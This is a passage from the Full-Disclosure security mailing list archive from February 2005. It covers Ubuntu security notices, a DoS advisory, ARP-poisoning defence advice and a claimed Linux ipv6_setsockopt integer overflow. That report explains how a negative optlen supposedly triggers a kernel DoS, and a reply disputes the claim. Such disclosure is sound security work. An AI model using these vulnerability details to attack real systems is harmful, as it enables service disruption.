344134e35b32ee6943a77e4e11dd4d05 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4-2ubuntu0.1_powerpc.deb Size/MD5: 3024388 852ffcf5cfd7fcf2f1f65121f58dced9 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050203/71fde29b/attachment.bin From qobaiashi at gmx.net Thu Feb 3 18:11:00 2005 From: qobaiashi at gmx.net (qobaiashi) Date: Thu, 3 Feb 2005 19:11:00 +0100 Subject: [Full-Disclosure] [Linux kernel ipv6_setsockopt integer overflow] Message-ID: <200502031911.00336.qobaiashi@gmx.net> hiho! there exists an integer bug in the ipv6 implementation of the linux kernel. (at least in 2.4.20 and 2.6.4 ) in /linux/net/ipv6/ipv6_sockglue.c: int ipv6_setsockopt(struct sock *sk, int level, int optname, char *optval, int optlen) { struct ipv6_pinfo *np = inet6_sk(sk); int val, valbool; int retv = -ENOPROTOOPT; if (level == SOL_IP && sk->sk_type != SOCK_RAW) return udp_prot.setsockopt(sk, level, optname, optval,optlen); if(level!=SOL_IPV6) goto out; if (optval == NULL) val=0; else if (get_user(val, (int *) optval)) return -EFAULT; valbool = (val!=0); lock_sock(sk); switch (optname) { [...] case IPV6_PKTOPTIONS: { struct ipv6_txoptions *opt = NULL; struct msghdr msg; struct flowi fl; int junk; fl.fl6_flowlabel = 0; fl.oif = sk->sk_bound_dev_if; [1] if (optlen == 0) goto update; /* 1K is probably excessive * 1K is surely not enough, 2K per standard header is 16K. */ retv = -EINVAL; [2] if (optlen > 64*1024) break; [3] opt = sock_kmalloc(sk, sizeof(*opt) + optlen, GFP_KERNEL); retv = -ENOBUFS; sizeof(*opt)+0xfffffff8 if (opt == NULL) break; [4] memset(opt, 0, sizeof(*opt)); opt->tot_len = sizeof(*opt) + optlen; retv = -EFAULT; [5] if (copy_from_user(opt+1, optval, optlen)) [...] details: condition [1] and [2] are easily passed for a value like -100, then at [3] sock_kmalloc allocates a too small object of the size (sizeof(*opt) + (-100)) which is then overflowed in [4] and [5] leading to a dos of the kernel... that's it over and out! -- -q/UNF From STEPHEN.TAYLOR at saic.com Thu Feb 3 18:00:23 2005 From: STEPHEN.TAYLOR at saic.com (Taylor, Stephen) Date: Thu, 3 Feb 2005 13:00:23 -0500 Subject: [Full-Disclosure] Libpcap versus WINPcap Message-ID: <0CE1D9496E87B64C84706386696573A508E1C5FE@us-fc-hctg.mail.saic.com> Does anyone have experience with libpcap versus WINPcap from a performance standpoint? I don't have packet numbers but I don't want to drop any. I know how to use libpcap without the tcp/ip stack but how about WINPcap? Since it is a protocol I don't think it works the same way. Does any know of any other Windows solutions for logging all the traffic (except video) on a network. I may have to recommend Windows over Linux to my client, if the performance is ok. Steve Taylor From fdonato at autistici.org Thu Feb 3 15:07:02 2005 From: fdonato at autistici.org (Donato Ferrante) Date: Thu, 3 Feb 2005 15:07:02 -0000 Subject: [Full-Disclosure] DoS in LANChat Pro Revival 1.666c Message-ID: <20050203150703.4FB2D1581D6@chernobyl.investici.org> Donato Ferrante Application: LANChat Pro Revival http://lanchat.republika.pl/ Version: 1.666c Bug: Denial Of Service Date: 03-Feb-2005 Author: Donato Ferrante e-mail: fdonato at autistici.org web: www.autistici.org/fdonato xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1. Description 2. The bug 3. The code 4. The fix xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ---------------- 1. Description: ---------------- Vendor's Description: "LANChat Pro is a local area network chat program with multicolor, custom skins and sounds support, WAN operation and file transfer and many other options." xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------ 2. The bug: ------------ The program is unable to manage malformed data into udp packet, in fact it crashes. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------- 3. The code: ------------- To test the vulnerability: http://www.autistici.org/fdonato/poc/LANChatPR[1666c]DoS-poc.zip xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------ 4. The fix: ------------ No fix. LANChat Pro Revival is no longer supported. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From secemf at yahoo.com.ar Thu Feb 3 19:06:04 2005 From: secemf at yahoo.com.ar (=?iso-8859-1?Q?Esteban_Mart=EDnez_Fay=F3?=) Date: Thu, 3 Feb 2005 16:06:04 -0300 Subject: [Full-Disclosure] New presentation: Advanced SQL Injection in Oracle databases Message-ID: <001c01c50a23$69457560$de00a8c0@rigel> Hi, this is to announce the release of a presentation called "Advanced SQL Injection in Oracle databases". This presentation shows, with many examples, how the SQL Injection vulnerabilities in applications that use Oracle databases can be exploited and how to prevent this. The topics also include buffer overflow attacks and examples using some of the recently discovered vulnerabilities in Oracle software. It can be downloaded from the following link: http://security-papers.globint.com.ar/oracle_security/sql_injection_in_oracle.php Esteban. From delete852 at yahoo.com Thu Feb 3 19:36:56 2005 From: delete852 at yahoo.com (Nick Vasiliev) Date: Thu, 3 Feb 2005 11:36:56 -0800 (PST) Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: <200502030108.j1318g9f025349@lists.netsys.com> Message-ID: <20050203193656.36312.qmail@web50410.mail.yahoo.com> Hi, I have been reading this list for some time now. Haven't contributed much because I am still learning but recently stumbled into a security issue that bothered me. A friend of mine showed me Cain and Abel, after giving it a few runs on my network the results were scary. I have been trying to find a decent solution on how to prevent the main in the middle attack with it however I wasn't able to come up with a good working solution. I have tried to set up static arp mappings on my system however the new ones overwrote the old ones. Also I am not sure but does it also screw with switch's arp tables or just the client ones? Any feedback would be nice -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050203/2f000bf8/attachment.html From janus at volny.cz Thu Feb 3 20:12:14 2005 From: janus at volny.cz (Honza Vlach) Date: Thu, 3 Feb 2005 21:12:14 +0100 Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: <20050203193656.36312.qmail@web50410.mail.yahoo.com> References: <200502030108.j1318g9f025349@lists.netsys.com> <20050203193656.36312.qmail@web50410.mail.yahoo.com> Message-ID: <20050203201214.GA6175@maya.vse.cz> Install OS that knows that static means really static (e.g. != Windows ) Have fun, Honza Vlach -- -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GIT/CS d- s: a-- C++++$ ULS++++$ P L+++ E--- W- N+ o? K? w-->--- O? M->+ V? PS PE Y++ PGP+++ !t 5? X++ R tv-- b++ DI+ D++ G+>+++ e h--- r++ y? ------END GEEK CODE BLOCK------ () ascii ribbon campaign - against html mail /\ - against microsoft attachments -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050203/a91b35c1/attachment.bin From psmelson at comcast.net Thu Feb 3 21:08:32 2005 From: psmelson at comcast.net (Paul Melson) Date: Thu, 3 Feb 2005 16:08:32 -0500 Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: <20050203193656.36312.qmail@web50410.mail.yahoo.com> Message-ID: <200502032108.j13L8irs000999@lists.netsys.com> Under a default or "dumb" switched environment, both the switch and the victim hosts will digest the phony ARP broadcasts sent by tools like Cain or Ettercap. Static ARP entries on a server should be enough to prevent session hijacking, but in order to stop eavesdropping, both victims need static ARP entries. Of course, if you're finding that your static ARP entries are being overwritten by the phony broadcasts, that's something your vendor needs to know about. A more manageable defense against ARP poisoning attacks is to configure your switches to prevent against MAC address spoofing. Cisco switches, for example, can statically map the MAC address of the interface connected to a given port (good for servers), as well as limit the number of MAC addresses that can appear on a given port (good for workstations, conference rooms, hotel rooms, etc.). More info specific to Cisco switches here: http://www.cisco.com/en/US/products/hw/switches/ps4324/products_configuratio n_guide_chapter09186a0080379add.html PaulM PS - You may find that certain clustering/HA products will use multiple MAC addresses and thus give you headaches in conjunction with Cisco port security configurations. ________________________________ Subject: [Full-Disclosure] Re: Cain and Abel Hi, I have been reading this list for some time now. Haven't contributed much because I am still learning but recently stumbled into a security issue that bothered me. A friend of mine showed me Cain and Abel, after giving it a few runs on my network the results were scary. I have been trying to find a decent solution on how to prevent the main in the middle attack with it however I wasn't able to come up with a good working solution. I have tried to set up static arp mappings on my system however the new ones overwrote the old ones. Also I am not sure but does it also screw with switch's arp tables or just the client ones? Any feedback would be nice From sil at infiltrated.net Thu Feb 3 22:22:53 2005 From: sil at infiltrated.net (J. Oquendo) Date: Thu, 3 Feb 2005 17:22:53 -0500 (EST) Subject: [Full-Disclosure] Re: Cain and Abel Message-ID: On Thu, 3 Feb 2005, Paul Melson wrote: > A more manageable defense against ARP poisoning attacks is to configure your > switches to prevent against MAC address spoofing. Cisco switches, for > example, can statically map the MAC address of the interface connected to a > given port (good for servers), as well as limit the number of MAC addresses > that can appear on a given port (good for workstations, conference rooms, > hotel rooms, etc.). 802.1q and Cisco PVLAN's will suffice by segmentation to minimize the effects of programs like Cain and Abel. However, most people forget that at the core level any product be it a switch (layer 2 or 3) or router will still have to listen for broadcasts in order to get MAC information to delegate traffic. If someone just wanted to sit there and DoS your ARP tables to oblivion it wouldn't be hard. VLAN tagging has its insecurities as well. You could likely just roast someone's connection if you're on their segment as well via spoofing however you're limited to that segment. http://infiltrated.net/cisco/pvlans.html http://infiltrated.net/cisco/vlan-insecurities.html http://infiltrated.net/cisco/vlan-tagging-101.html http://infiltrated.net/cisco/vla-tagging.pdf =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x0D99C05C http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x0D99C05C sil @ infiltrated . net http://www.infiltrated.net "How a man plays the game shows something of his character - how he loses shows all" - Mr. Luckey From xillwillx at gmail.com Fri Feb 4 05:25:09 2005 From: xillwillx at gmail.com (Ill will) Date: Fri, 4 Feb 2005 00:25:09 -0500 Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: References: Message-ID: <47fe50605020321256d2b32f6@mail.gmail.com> there is a few programs to detect arp poisoning i.e. ethereal can detect the huge amount of traffic flow there's a window app winarpwatch http://www.arp-sk.org/files/related/warpwatch.zip that is a windows clone of the nix program arpwatch that basically checks to see if your arp cache has changed From darryl at snakegully.nu Fri Feb 4 08:23:00 2005 From: darryl at snakegully.nu (Darryl Luff) Date: Fri, 04 Feb 2005 19:23:00 +1100 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <82abd3a705020207061dc12dc1@mail.gmail.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <82abd3a705020207061dc12dc1@mail.gmail.com> Message-ID: <420330E4.7080805@snakegully.nu> Michael Simpson wrote: >so it is basically freenet but running on a different port (8482 >rather than 8481) >what's the point > > > I usually try freenet about once a year have never managed to connect to anything through it. I've only tried entropy once but it did work, and the performance wasn't too bad considering. The big problem with both seems to be the lack of a search engine. How do people find anything? From martin.pitt at canonical.com Fri Feb 4 09:13:25 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 4 Feb 2005 10:13:25 +0100 Subject: [Full-Disclosure] [USN-74-1] Postfix vulnerability Message-ID: <20050204091325.GB551@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-74-1 February 04, 2005 postfix vulnerability http://bugs.debian.org/267837 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: postfix The problem can be corrected by upgrading the affected package to version 2.1.3-1ubuntu17.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Jean-Samuel Reynaud noticed a programming error in the IPv6 handling code of Postfix when /proc/net/if_inet6 is not available (which is the case in Ubuntu since Postfix runs in a chroot). If "permit_mx_backup" was enabled in the "smtpd_recipient_restrictions", Postfix turned into an open relay, i. e. erroneously permitted the delivery of arbitrary mail to any MX host which has an IPv6 address. Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.1.diff.gz Size/MD5: 411105 ebec5936210e45ace9340f8222d80b7c http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.1.dsc Size/MD5: 864 07856f476ec0b61011def96d4516c118 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3.orig.tar.gz Size/MD5: 1971632 1f515b0d80cd1f9db0113240bf36f248 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-dev_2.1.3-1ubuntu17.1_all.deb Size/MD5: 97046 79e78142e88c18575899580bf9b16ca0 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-doc_2.1.3-1ubuntu17.1_all.deb Size/MD5: 643972 e2e331623971c0b0f45970586ff7a083 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 35436 4bbea082d8d7d5ac5b1ea6f7d6cf8fa0 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 31328 08e3729b757df658b99a56e50e9a9d5f http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 30904 7ea9aafc438c944ffcd18ae32805e660 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 31636 ba7382b65df65cba401b2cb1ad051a68 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 156534 b46680cedf669bd7ed9e90bd34d6ca91 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.1_amd64.deb Size/MD5: 820506 bb67674c0e0c5bde0be5e506596cb033 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 34718 959a134b3d0b74faa0b56ded62ed005b http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 30826 50142456894a4bc49447f83392257ef6 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 30538 bb84db9e33c6b8da8b0dd99603425587 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 31098 606592256cfeda5aa28605185c44e66e http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 143034 09192e5964ca3b7d237e4c476b0ffb53 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.1_i386.deb Size/MD5: 763490 0160158cb855957e0176a006176eb8c0 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 36572 0a88dc7ab945722c44994c850b36dc09 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 32724 880fbe7900ad95803eb1d9d0e26a1cf4 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 32456 9946903ac57e73a22c159053be39c44d http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 33024 850289233b4d68d1e8dcb8a347fc6cd9 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 152468 d9e01c2eb71815f2da46870f0fa7353f http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.1_powerpc.deb Size/MD5: 826188 77ed80d8e59e914124fc6bbafd07c3b2 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050204/9bc61f4e/attachment.bin From Shadow333 at gmx.at Fri Feb 4 09:41:59 2005 From: Shadow333 at gmx.at (Oliver Leitner) Date: Fri, 4 Feb 2005 10:41:59 +0100 Subject: [Full-Disclosure] some interresting project i just =?iso-8859-1?q?stumbled across=2E=2E=2E?= In-Reply-To: <420330E4.7080805@snakegully.nu> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <82abd3a705020207061dc12dc1@mail.gmail.com> <420330E4.7080805@snakegully.nu> Message-ID: <200502040947.j149lWrs024080@lists.netsys.com> well, there are "search programs" for the freenet/entropy network, just look at the links list within the entropy web gateway (http://127.0.0.1:9999 in case you didnt change it...) i havent tried that one yet, might give the client programs a try as soon as i get them to compile on my FreeBSD 5.3 Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 04 February 2005 09:23, Darryl Luff wrote: > Michael Simpson wrote: > >so it is basically freenet but running on a different port (8482 > >rather than 8481) > >what's the point > > I usually try freenet about once a year have never managed to connect to > anything through it. I've only tried entropy once but it did work, and > the performance wasn't too bad considering. > > The big problem with both seems to be the lack of a search engine. How > do people find anything? > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From martin.pitt at canonical.com Fri Feb 4 10:23:46 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 4 Feb 2005 11:23:46 +0100 Subject: [Full-Disclosure] [USN-75-1] cpio vulnerability Message-ID: <20050204102345.GA1589@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-75-1 February 04, 2005 cpio vulnerability CAN-1999-1572 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: cpio The problem can be corrected by upgrading the affected package to version 2.5-1.1ubuntu0.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Recently it was discovered that cpio created world-writeable files when used in -o/--create mode with giving an output file (with -O). This allowed any user to modify the created cpio archives. Now cpio respects the current umask setting of the user. Note: This vulnerability has already been fixed in a very old version of cpio, but the fix was never ported to the current version. Therefore the CAN number was assigned to the year 1999. Source archives: http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5-1.1ubuntu0.1.diff.gz Size/MD5: 26221 3ca615bf2f07f822aeed0f0a7261b189 http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5-1.1ubuntu0.1.dsc Size/MD5: 551 608c00fb079a716aaa0cd22ecb3481b0 http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5.orig.tar.gz Size/MD5: 185480 e02859af1bbbbd73fcbf757acb57e0a4 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5-1.1ubuntu0.1_amd64.deb Size/MD5: 68180 4a4263672519f5b84d251ea80c7647cb i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5-1.1ubuntu0.1_i386.deb Size/MD5: 63608 a2c9334648f310639fc23b641abf81c0 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/c/cpio/cpio_2.5-1.1ubuntu0.1_powerpc.deb Size/MD5: 67190 0e150800f5b5b95f2c1d6516138c3c0c -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050204/bb5cc568/attachment.bin From vertex at securitytrap.com Fri Feb 4 16:08:01 2005 From: vertex at securitytrap.com (vertex) Date: Fri, 4 Feb 2005 08:08:01 -0800 Subject: [Full-Disclosure] Securitytrap Jan Top20 list Message-ID: <20050204160801.GA4396@securitytrap.com> Hello, Last month's hot topic on http://www.securitytrap.com 1, Microsoft: Microsoft Security Bulletin Summary for January 2005 URL: http://lists.insecure.org/lists/microsoft/2005/Jan-Mar/0000.html 2, Incidents: Re: SQL injection ... another attack URL: http://www.securitytrap.com/mail/incidents/2005/Jan/0051.html 3, K-Otik Exploits: Linux kernel i386 SMP race condition Local Root Exploit URL: http://www.k-otik.com/exploits/20050117.stackgrow2.c.php 4, K-Otik Exploits: Search and Replace ZIP File search Buffer Overflow Exploit URL: http://www.k-otik.com/exploits/20050124.searchnreplace.c.php 5, Pen-TEST: RE: priviledge escalation techniques URL: http://www.securitytrap.com/mail/pen-test/2005/Jan/0158.html 6, Pen-TEST: RE: priviledge escalation techniques URL: http://www.securitytrap.com/mail/pen-test/2005/Jan/0159.html 7, Incidents: Attempted exploit for some web service. URL: http://www.securitytrap.com/mail/incidents/2005/Jan/0053.html 8, Security News: Re: Oracle Patch Fixes 23 'Critical' Vulnerabilities URL: http://lists.insecure.org/lists/isn/2005/Jan/0070.html 9, Security News: The United States' battle to secure cyberspace URL: http://lists.insecure.org/lists/isn/2005/Jan/0088.html 10, Incidents: Re: Attempted exploit for some web service. URL: http://www.securitytrap.com/mail/incidents/2005/Jan/0054.html 11, Pen-TEST: Re: pwdump 2 & 3 URL: http://www.securitytrap.com/mail/pen-test/2005/Jan/0176.html 12, Focus IDS: Re: Firewall-fooling techniques URL: http://www.securitytrap.com/mail/focus-ids/2005/Jan/0092.html 13, vulnwatch: Security Contact within RIM / Blackberry URL: http://www.securitytrap.com/mail/vulnwatch/2005/Jan/0039.html 14, K-Otik Exploits: Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002) URL: http://www.k-otik.com/exploits/20050123.HOD-ms05002-ani-expl.c.php 15, Security Jobs: [SJ-JOB] Security Researcher, Redmond, US URL: http://www.securitytrap.com/mail/securityjobs/2005/Jan/0184.html 16, bugtrap: SAME LADY, DIFFERENT HAT: REELY URL: http://www.securitytrap.com/mail/bugtraq/2005/Jan/0329.html 17, vuln-dev: IE crash URL: http://www.securitytrap.com/mail/vuln-dev/2005/Feb/0000.html 18, Security News: US to tighten nuclear cyber security URL: http://lists.insecure.org/lists/isn/2005/Jan/0089.html 19, Full-disclosure: Re: UNIX Tar Security Advisory from TEAM PWN4GE URL: http://www.securitytrap.com/mail/full-disclosure/2005/Feb/0034.html 20, Pen-TEST: MS RAS (pptp + MSCHAPv1) URL: http://www.securitytrap.com/mail/pen-test/2005/Jan/0168.html -- http://www.securitytrap.com Security by full disclosure From dan at lightwave.net.ru Thu Feb 3 21:47:58 2005 From: dan at lightwave.net.ru (Dan Yefimov) Date: Fri, 4 Feb 2005 00:47:58 +0300 (MSK) Subject: [Full-Disclosure] Re: [Linux kernel ipv6_setsockopt integer overflow] In-Reply-To: <200502031911.00336.qobaiashi@gmx.net> Message-ID: On Thu, 3 Feb 2005, qobaiashi wrote: There's no integer overflow here since there's the test for optlen < 0 in linux/net/socket.c > > there exists an integer bug in the ipv6 implementation of the linux kernel. > (at least in 2.4.20 and 2.6.4 ) > in /linux/net/ipv6/ipv6_sockglue.c: > > > int ipv6_setsockopt(struct sock *sk, int level, int optname, char *optval, > int optlen) > { > struct ipv6_pinfo *np = inet6_sk(sk); > int val, valbool; > int retv = -ENOPROTOOPT; > > if (level == SOL_IP && sk->sk_type != SOCK_RAW) > return udp_prot.setsockopt(sk, level, optname, optval,optlen); > > if(level!=SOL_IPV6) > goto out; > > if (optval == NULL) > val=0; > else if (get_user(val, (int *) optval)) > return -EFAULT; > > valbool = (val!=0); > > lock_sock(sk); > > switch (optname) { > [...] > > case IPV6_PKTOPTIONS: > { > struct ipv6_txoptions *opt = NULL; > struct msghdr msg; > struct flowi fl; > int junk; > > fl.fl6_flowlabel = 0; > fl.oif = sk->sk_bound_dev_if; > > [1] if (optlen == 0) > goto update; > > /* 1K is probably excessive > * 1K is surely not enough, 2K per standard header is 16K. > */ > retv = -EINVAL; > [2] if (optlen > 64*1024) > break; > > [3] opt = sock_kmalloc(sk, sizeof(*opt) + optlen, GFP_KERNEL); > retv = -ENOBUFS; sizeof(*opt)+0xfffffff8 > if (opt == NULL) > break; > > [4] memset(opt, 0, sizeof(*opt)); > opt->tot_len = sizeof(*opt) + optlen; > retv = -EFAULT; > [5] if (copy_from_user(opt+1, optval, optlen)) > [...] > > details: > > condition [1] and [2] are easily passed for a value like -100, then at [3] > sock_kmalloc allocates a too small object of the size (sizeof(*opt) + (-100)) > which is then overflowed in [4] and [5] leading to a dos of the kernel... > > that's it > over and out! > > -- Sincerely Your, Dan. From fd at ben.iagu.net Fri Feb 4 10:50:54 2005 From: fd at ben.iagu.net (fd at ben.iagu.net) Date: Fri, 4 Feb 2005 11:50:54 +0100 Subject: [Full-Disclosure] Re: NAT router inbound network traffic subversion In-Reply-To: <1106926622.9371.67.camel@localhost.localdomain> Message-ID: <200502041050.j14AoEeC052922@new.iagu.net> This topic is debated once every 12 months on the firewall-wizards list - you could check the archives there. You cannot get a packet in from the outside on PAT (port translated NAT, NAT overload, etc) to a client that is idle. Actually, that may be a lie given that there used to be a bunch of crappy NAT equipment that would accept packets addressed to the correct internal IP, but that mostly doesn't happen anymore, and it's an implementation thing. This is the part that could be considered a security feature, since it is the only real incremental security compared to connecting directly. You talk about this being 'intractable' rather than 'impossible'. This isn't correct. It is genuinely impossible in a reference implementation, since there is no state entry to allow the traffic, and traffic not allowed is denied. In real life that gets blurry. NAT entries that don't get torn down, dumb implementations that remember too much of their routing roots, overload behaviour etc could mean that you might find a way to do it on a certain box, but the basic behaviour is axiomatic. You can attack existing connections - DNS spoofing, blind TCP MitM (or not blind if you're close enough), UDP packet injection in general. These are all a class of attack exploiting the simplicity of NAT states (internalIP:internalPort->onesingleIP:Port), but they require a spoofable protocol. Basically, those attacks are not all that much harder or easier than if the connection did not use NAT, and rely on most of the same conditions, including the ability to sniff the connection to have any real chance of blind TCP MitM. NAT adds an additional barrier if you actually care which machine you are attacking, and some of the previous people have sent links to the various ipid and other techniques to work out who is who from the outside. morning_wood's scenario is neither more nor less difficult / likely, irrespective of the presence of NAT; it works but is orthogonal to the NAT security issue. Mostly the same for Mark Senior's excellent DNS response injection example (although if that attack is carried out blind there is an extra complication because the client source port will often be changed by a PAT router). Cheers, ben > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of Kristian Hermansen > Sent: Friday, January 28, 2005 4:37 PM > To: full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] Re: NAT router inbound network > traffic subversion > > I think the answers that I received in response to my query > are somewhat > obvious -- yes -- but neither answered my question! Morning Wood's > analysis was brilliant as ever, like always ;-P > > "atacker now can do a he wishes to the rest of your network ( GAME > OVER )" > > Ummm...okay. The problem with you was this statement: > > "NAT client browses web..." > > HOW IS THIS NOT USER INTERACTION?!?!? I asked if there is a > computer on > the internal network that doesn't do anything -- that means SENDING NO > PACKETS to the router -- if an attacker can get EVEN ONE > PACKET inside: > then they will prove everyone wrong, right? If one packet can get > through, it can be considered a rogue packet that should not have > entered the internal network destined for a particular host > -- or better > yet -- an internal broadcast address going to all hosts. > > Some say getting these rogue packets into the network is "impossible". > That is the reason for my question. I like to think that > most problems > are "intractable", but not "impossible". Can anyone prove me wrong? > Can someone push a rogue packet behind a router with no client > interaction??? This is my chautauqua... > -- > Kristian Hermansen > From fd at ithum.de Fri Feb 4 12:10:48 2005 From: fd at ithum.de (i.t Consulting) Date: Fri, 4 Feb 2005 13:10:48 +0100 Subject: [Full-Disclosure] security forecasts 2005 In-Reply-To: <20050108010228.GC8303@e-matters.de> References: <20050108010228.GC8303@e-matters.de> Message-ID: <200502041310.48972.fd@ithum.de> well - security forecasts for 2005 may be more interesting in autumn of the previous year when I've seen some nice figures on sans, secunia, symantec etc. however, I can't find those figures again, maybe for obvious reasons, e.g. the 'survival time' has climbed to 21 min from 13 in 2004. has anybody some forecast figures in his/her archive? thanks /i.? From measl at mfn.org Fri Feb 4 13:58:52 2005 From: measl at mfn.org (J.A. Terranson) Date: Fri, 4 Feb 2005 07:58:52 -0600 (CST) Subject: [Full-Disclosure] Cart00ney-Sigs (was: Re: Freenet clone) In-Reply-To: <200502040947.j149lWrs024080@lists.netsys.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <82abd3a705020207061dc12dc1@mail.gmail.com> <420330E4.7080805@snakegully.nu> <200502040947.j149lWrs024080@lists.netsys.com> Message-ID: <20050204074228.E35169@ubzr.zsa.bet> On Fri, 4 Feb 2005, Oliver Leitner wrote: *The single DUMBEST* "agreement" I have ever seen on an email privacy warning: > -- > By reading this mail you agree to the following: > > using or giving out the email address and any > other info of the author of this email is strictly forbidden. > By acting against this agreement the author of this mail > will take possible legal actions against the abuse. > _______________________________________________ I'm not gonna ask the more common question, since I can plainly see the answer of "No, I didn't have the money to pay a lawyer to write shit for me"... To all of you Cart00ney-Sig losers: stop and think for a second. Not only are these "agreements" invalid on their face (you can't bind someone to an agreement by having them READ it), but they make you look 